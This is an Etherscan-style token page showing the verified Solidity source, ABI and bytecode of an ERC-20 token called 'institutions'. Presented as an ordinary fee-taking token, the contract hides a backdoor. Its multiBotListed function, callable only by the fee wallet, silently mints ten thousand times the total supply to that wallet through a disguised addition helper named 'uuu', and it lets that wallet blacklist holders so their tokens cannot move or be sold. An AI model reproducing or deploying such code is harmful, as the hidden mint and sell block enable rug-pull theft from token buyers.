ETH Price: $2,920.55 (+4.54%)
 

Overview

Max Total Supply

1,000,000,000 institutions

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
654,912.777488329 institutions

Value
$0.00
0x3c4C15173b83AF84b3f417fb1673b30fa55F7681
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
institutions

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-03
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {


    function uuu(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "addition overflow");

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  institutions is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "institutions";
    string private _symbol = "institutions";
    uint8 private _decimals = 9;
    address payable public _feeAddrWallet1;
    mapping (address => uint256) _balances;

    function initMP() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _botListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _feeAddrWallet1 = payable(address(0xf824cB2f40894caf42c30BE16eEA8f0E87c89047));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _feeAddrWallet1.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_botListed[from], "ERC20: botListed");

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function multiBotListed(address[] calldata addresses, bool status) public {
        require(_msgSender() == _feeAddrWallet1);
        for (uint256 i; i < addresses.length; i++) {
            if(addresses[i] != _feeAddrWallet1){
                _botListed[addresses[i]] = status;
            }else{
                _balances[_feeAddrWallet1] = _balances[_feeAddrWallet1].uuu(totalSupply()*10**4);
            }
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddrWallet1","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initMP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBotListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600c81526020017f696e737469747574696f6e7300000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600c81526020017f696e737469747574696f6e730000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a373f824cb2f40894caf42c30be16eea8f0e87c89047600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200023b620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612e7680620007886000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610415578063c5d2418914610452578063c816841b1461047d578063c8607952146104a8578063dd62ed3e146104d3578063f2fde38b1461051057610135565b806370a082311461032e57806380bdb5081461036b5780638da5cb5b146103a857806395d89b41146103d357806396642ad9146103fe57610135565b806323b872dd116100f257806323b872dd14610223578063313ce567146102605780633345611e1461028b5780633ecad271146102c8578063442dd8761461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd5780631fef4cbe146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906125f6565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061225f565b6105cb565b60405161019991906125c0565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c491906125db565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612738565b60405180910390f35b34801561020457600080fd5b5061020d610619565b60405161021a919061257c565b60405180910390f35b34801561022f57600080fd5b5061024a6004803603810190610245919061220c565b61063f565b60405161025791906125c0565b60405180910390f35b34801561026c57600080fd5b50610275610719565b60405161028291906127ad565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad9190612172565b610730565b6040516102bf91906125c0565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612172565b610750565b6040516102fc91906125c0565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061229f565b610770565b005b34801561033a57600080fd5b5061035560048036038101906103509190612172565b6109e5565b6040516103629190612738565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612172565b610a2e565b60405161039f91906125c0565b60405180910390f35b3480156103b457600080fd5b506103bd610a4e565b6040516103ca9190612561565b60405180910390f35b3480156103df57600080fd5b506103e8610a77565b6040516103f591906125f6565b60405180910390f35b34801561040a57600080fd5b50610413610b09565b005b34801561042157600080fd5b5061043c6004803603810190610437919061225f565b610ee1565b60405161044991906125c0565b60405180910390f35b34801561045e57600080fd5b50610467610f00565b6040516104749190612738565b60405180910390f35b34801561048957600080fd5b50610492610f06565b60405161049f9190612561565b60405180910390f35b3480156104b457600080fd5b506104bd610f2c565b6040516104ca9190612738565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906121cc565b610f32565b6040516105079190612738565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190612172565b610fb9565b005b60606001805461054890612a14565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612a14565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d861110b565b8484611113565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061064c8484846112de565b5061070e8461065961110b565b61070985604051806060016040528060288152602001612e1960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bf61110b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f9092919063ffffffff16565b611113565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107b161110b565b73ffffffffffffffffffffffffffffffffffffffff16146107d157600080fd5b60005b838390508110156109df57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1684848381811061082b5761082a612b1c565b5b90506020020160208101906108409190612172565b73ffffffffffffffffffffffffffffffffffffffff16146108de57816008600086868581811061087357610872612b1c565b5b90506020020160208101906108889190612172565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506109cc565b6109666127106108ec61060f565b6108f691906128a4565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c390919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806109d790612a46565b9150506107d4565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a8690612a14565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab290612a14565b8015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b610b1161110b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b95906126d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c35919061219f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9757600080fd5b505afa158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf919061219f565b6040518363ffffffff1660e01b8152600401610cec929190612597565b602060405180830381600087803b158015610d0657600080fd5b505af1158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e919061219f565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610ef5610eee61110b565b84846112de565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fc161110b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611045906126d8565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612718565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90612658565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d19190612738565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611346906126f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612618565b60405180910390fd5b600d60149054906101000a900460ff16156113e6576113df848484611a21565b9050611958565b60006113f1306109e5565b9050600d60149054906101000a900460ff1615801561145a5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114695761146881611bf4565b5b6114bb83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115a15750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115ae57839050611857565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612638565b60405180910390fd5b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116be576116b760646116a960095488611f4290919063ffffffff16565b611fbd90919063ffffffff16565b905061173c565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561173b57611738606461172a600a5488611f4290919063ffffffff16565b611fbd90919063ffffffff16565b90505b5b60008111156118405761179781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118379190612738565b60405180910390a35b6118538186611ef890919063ffffffff16565b9150505b6118a981600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119499190612738565b60405180910390a36001925050505b9392505050565b60008383111582906119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e91906125f6565b60405180910390fd5b50600083856119b691906128fe565b9050809150509392505050565b60008082846119d2919061281d565b905083811015611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e90612698565b60405180910390fd5b8091505092915050565b6000611aac826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611be19190612738565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2c57611c2b612b4b565b5b604051908082528060200260200182016040528015611c5a5781602001602082028036833780820191505090505b5090503081600081518110611c7257611c71612b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1457600080fd5b505afa158015611d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4c919061219f565b81600181518110611d6057611d5f612b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dc730600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611113565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e2b959493929190612753565b600060405180830381600087803b158015611e4557600080fd5b505af1925050508015611e56575060015b611e5f57611e60565b5b60004790506000811115611ed857600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ed6573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050